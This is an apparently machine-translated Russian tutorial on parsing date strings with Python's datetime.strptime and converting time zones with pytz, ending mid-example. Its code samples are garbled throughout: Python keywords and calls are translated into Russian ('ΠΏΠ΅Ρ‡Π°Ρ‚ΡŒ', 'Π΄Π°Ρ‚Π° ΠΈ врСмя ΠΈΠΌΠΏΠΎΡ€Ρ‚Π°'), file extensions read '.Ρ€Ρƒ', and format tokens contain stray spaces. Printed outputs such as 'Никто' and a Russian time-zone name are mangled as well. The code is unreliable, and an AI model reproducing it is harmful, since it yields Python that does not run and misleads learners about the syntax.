    Одна ΠΈΠ· ΠΌΠ½ΠΎΠ³ΠΈΡ… распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ сталкиваСмся ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, - это ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. НапримСр, послС получСния строки Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈΠ· API Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² ΡƒΠ΄ΠΎΠ±ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, Ссли ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Ρ€Π°Π·Π½Ρ‹Ρ… часовых поясах, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΠΌ. Π₯ΠΎΡ€ΠΎΡˆΠ°Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ врСмя Π² соотвСтствии с часовым поясом.Π­Ρ‚ΠΎ лишь ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ½ΠΎΠ³ΠΈΡ… нюансов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π΄Π°Ρ‚Π°ΠΌΠΈ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ.

    К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, Python поставляСтся со встроСнным ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΌ datetime для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π΄Π°Ρ‚ΠΎΠΉ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ. Как Π²Ρ‹, Π½Π°Π²Π΅Ρ€Π½ΠΎΠ΅, догадались, Π² Π½Π΅ΠΌ Π΅ΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для управлСния Π΄Π°Ρ‚ΠΎΠΉ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ этот ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ строку Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime .

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ строк с использованиСм datetime

    ΠœΠΎΠ΄ΡƒΠ»ΡŒ datetime состоит ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²: date , time ΠΈ datetime .ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ date содСрТит Π΄Π°Ρ‚Ρƒ, time - врСмя, Π° datetime - Π΄Π°Ρ‚Ρƒ ΠΈ врСмя.

    НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя:

      Π΄Π°Ρ‚Π° ΠΈ врСмя ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°
    
    print ('ВСкущая Π΄Π°Ρ‚Π° / врСмя: {}'. Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ (datetime.datetime.now ()))
      

    Запуск этого ΠΊΠΎΠ΄Π° Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ этого:

      $ python3 datetime-print-1.py
    ВСкущая Π΄Π°Ρ‚Π° / врСмя: 2018-06-29 08: 15: 27.243860
      

    Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ строковый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ‚.Π΅.Π΅. Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Β«2018-06-29 08: 15: 27.243860Β» соотвСтствуСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ ISO 8601 (Π“Π“Π“Π“-ММ-Π”Π”Π’Π§Π§: ММ: Π‘Π‘.ΠΌΠΌΠΌΠΌΠΌΠΌ). Если наша входная строка для создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° datetime ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ISO 8601, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime .

    Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅:

      Π΄Π°Ρ‚Π° ΠΈ врСмя ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°
    
    date_time_str = '2018-06-29 08:15: 27.243860'
    date_time_obj = datetime.datetime.strptime (date_time_str, '% Y-% m-% d% H:% M:% S.% f')
    
    print ('Π”Π°Ρ‚Π°:', date_time_obj.date ())
    print ('ВрСмя:', date_time_obj.врСмя())
    print ('Π”Π°Ρ‚Π°-врСмя:', date_time_obj)
      

    ΠŸΡ€ΠΈ запускС ΠΎΠ½ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ Π΄Π°Ρ‚Ρƒ, врСмя ΠΈ Π΄Π°Ρ‚Ρƒ-врСмя:

      $ python3 datetime-print-2.py
    Π”Π°Ρ‚Π°: 2018-06-29
    ВрСмя: 08: 15: 27.243860
    Π”Π°Ρ‚Π°-врСмя: 2018-06-29 08: 15: 27.243860
      

    Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ с ΠΈΠΌΠ΅Π½Π΅ΠΌ strptime . Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°: ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ - это строковоС прСдставлСниС Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ - Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Ρ…ΠΎΠ΄Π½ΠΎΠΉ строки. Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ускоряСт синтаксичСский Π°Π½Π°Π»ΠΈΠ·, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ datetime Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π΄ΠΎΡ€ΠΎΠΆΠ΅ Π² Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ.Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏ datetime .

    Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ "2018-06-29 08:15: 27.243860" - это входная строка, Π° "% Y-% m-% d% H:% M:% S.% f" - это Ρ„ΠΎΡ€ΠΌΠ°Ρ‚. нашСй строки Π΄Π°Ρ‚Ρ‹. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ datetime сохраняСтся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ date_time_obj . ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime , ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ date () ΠΈ time () нСпосрСдствСнно Π½Π° Π½Π΅ΠΌ. Как Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ½ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ Ρ‡Π°ΡΡ‚ΡŒ Β«Π΄Π°Ρ‚Π°Β» ΠΈ «врСмя» Π²Ρ…ΠΎΠ΄Π½ΠΎΠΉ строки.

    Π’Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ интСрСсно, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ "% Y-% m-% d% H:% M:% S.% f" . Они извСстны ΠΊΠ°ΠΊ Ρ‚ΠΎΠΊΠ΅Π½Ρ‹ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° . ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ‚ΠΎΠΊΠ΅Π½ прСдставляСт собой ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСнь, мСсяц, Π³ΠΎΠ΄ ΠΈ Ρ‚. Π”. ΠžΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ strptime, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ список всСх Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΊΠΎΠ΄Π° Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π² Python. Для быстрого ознакомлСния Π²ΠΎΡ‚ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π΅:

    • % Y : Π“ΠΎΠ΄ (4 Ρ†ΠΈΡ„Ρ€Ρ‹)
    • % m : ΠœΠ΅ΡΡΡ†
    • % d : Π”Π΅Π½ΡŒ мСсяца
    • % H : Час (24 часа)
    • % M : ΠœΠΈΠ½ΡƒΡ‚Ρ‹
    • % S : сСкунды
    • % f : микросСкунды

    ΠžΠΆΠΈΠ΄Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ всС эти Ρ‚ΠΎΠΊΠ΅Π½Ρ‹, ΠΊΡ€ΠΎΠΌΠ΅ Π³ΠΎΠ΄Π°, Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½Ρ‹ нулями.

    Π˜Ρ‚Π°ΠΊ, Ссли Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ строки извСстСн, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° datetime , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ strptime . ΠŸΡ€ΠΈΠ²Π΅Π΄Ρƒ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π½Π΅Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:

      Π΄Π°Ρ‚Π° ΠΈ врСмя ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°
    
    date_time_str = '28 июня 2018 г. 7:40'
    date_time_obj = datetime.datetime.strptime (date_time_str, '% b% d% Y% I:% M% p')
    
    print ('Π”Π°Ρ‚Π°:', date_time_obj.date ())
    print ('ВрСмя:', date_time_obj.time ())
    print ('Π”Π°Ρ‚Π°-врСмя:', date_time_obj)
      

    Из ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²Ρ‹Π²ΠΎΠ΄Π° Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ строка Π±Ρ‹Π»Π° ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ распСчатываСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ datetime здСсь:

      $ python3 datetime-print-3.Ρ€Ρƒ
    Π”Π°Ρ‚Π°: 2018-06-28
    ВрСмя: 07:40:00
    Π”Π°Ρ‚Π°-врСмя: 2018-06-28 07:40:00
      

    Π’ΠΎΡ‚ Π΅Ρ‰Π΅ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°:

      «28 июня 2018 г., 7:40» -> «% b% d% Y at% I:% M% p»
    Β«18 сСнтября 2017 Π³., 22:19:55Β» -> Β«% B% d,% Y,% H:% M:% SΒ»
    «Вс, 12.05.99, 12: 30PMΒ» -> Β«% a,% d /% m /% y,% I:% M% pΒ»
    «Пн, 21 ΠΌΠ°Ρ€Ρ‚Π°, 2015Β» -> Β«% a,% d% B,% YΒ»
    Β«2018-03-12T10: 12: 45ZΒ» -> Β«% Y-% m-% dT% H:% M:% SZΒ»
      

    Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ любого Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ, ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚ΡƒΡŽ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ strptime.

    Π Π°Π±ΠΎΡ‚Π° с часовыми поясами ΠΈ datetime

    ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ становится Π±ΠΎΠ»Π΅Π΅ слоТной ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с часовыми поясами. ВсС Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ обсуТдали, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ²Π½Ρ‹ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ datetime , Ρ‚.Π΅. эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π½Π΅ содСрТат Π΄Π°Π½Π½Ρ‹Ρ…, связанных с часовым поясом. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ datetime ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄Π½Ρƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, которая содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ часовом поясС, tzinfo .

      ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя ΠΊΠ°ΠΊ dt
    
    dtime = dt.datetime.now ()
    
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dtime)
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dtime.tzinfo)
      

    Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚:

      $ python3 datetime-tzinfo-1.Ρ€Ρƒ
    2018-06-29 22:16: 36.132767
    Никто
      

    Π’Ρ‹Π²ΠΎΠ΄ tzinfo : None , ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Π½Π°ΠΈΠ²Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime . Для прСобразования часовых поясов для Python доступна Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° pytz . Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΊΠ°ΠΊ описано Π² этих инструкциях. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ pytz , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π²Ρ‹ΡˆΠ΅ ΠΌΠ΅Ρ‚ΠΊΡƒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² UTC.

      ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя ΠΊΠ°ΠΊ dt
    ΠΈΠΌΠΏΠΎΡ€Ρ‚ pytz
    
    dtime = dt.datetime.now (pytz.utc)
    
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dtime)
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (dtime.tzinfo)
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 datetime-tzinfo-2.py
    2018-06-29 17: 08: 00.586525 + 00: 00
    ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ΅ глобальноС врСмя
      

    +00: 00 - Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ UTC. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ tzinfo Ρ‚Π°ΠΊΠΆΠ΅ соотвСтствуСт UTC, ΠΎΡ‚ΡΡŽΠ΄Π° смСщСниС 00:00 . Π’ этом случаС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ часового пояса .

    Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ строки Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ часовой пояс.НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ строку Β«2018-06-29 17: 08: 00.586525 + 00: 00Β» Π² часовой пояс Β«America / New_YorkΒ», ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:

      ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя ΠΊΠ°ΠΊ dt
    ΠΈΠΌΠΏΠΎΡ€Ρ‚ pytz
    
    date_time_str = '2018-06-29 17:08:00'
    date_time_obj = dt.datetime.strptime (date_time_str, '% Y-% m-% d% H:% M:% S')
    
    timezone = pytz.timezone ('АмСрика / Нью-Π™ΠΎΡ€ΠΊ')
    timezone_date_time_obj = timezone.localize (date_time_obj)
    
    print (timezone_date_time_obj)
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (timezone_date_time_obj.tzinfo)
      

    Π’Ρ‹Ρ…ΠΎΠ΄:

      $ python3 datetime-tzinfo-3.Ρ€Ρƒ
    2018-06-29 17: 08: 00-04: 00
    АмСрика / Нью-Π™ΠΎΡ€ΠΊ
      

    Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π»ΠΈ строку Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime , date_time_obj . Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π»ΠΈ Π΅Π³ΠΎ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ datetime с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ часовым поясом, timezone_date_time_obj . ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ установили часовой пояс ΠΊΠ°ΠΊ Β«America / New_YorkΒ», врСмя Π²Ρ‹Π²ΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π° 4 часа отстаСт ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ UTC Π½Π° . Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ эту страницу Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ»Π½Ρ‹ΠΉ список доступных часовых поясов.

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ часовых поясов

    ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ часовой пояс ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° datetime ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π΅Π³ΠΈΠΎΠ½Π° Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅:

      ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя ΠΊΠ°ΠΊ dt
    ΠΈΠΌΠΏΠΎΡ€Ρ‚ pytz
    
    timezone_nw = pytz.часовой пояс ('АмСрика / Нью-Π™ΠΎΡ€ΠΊ')
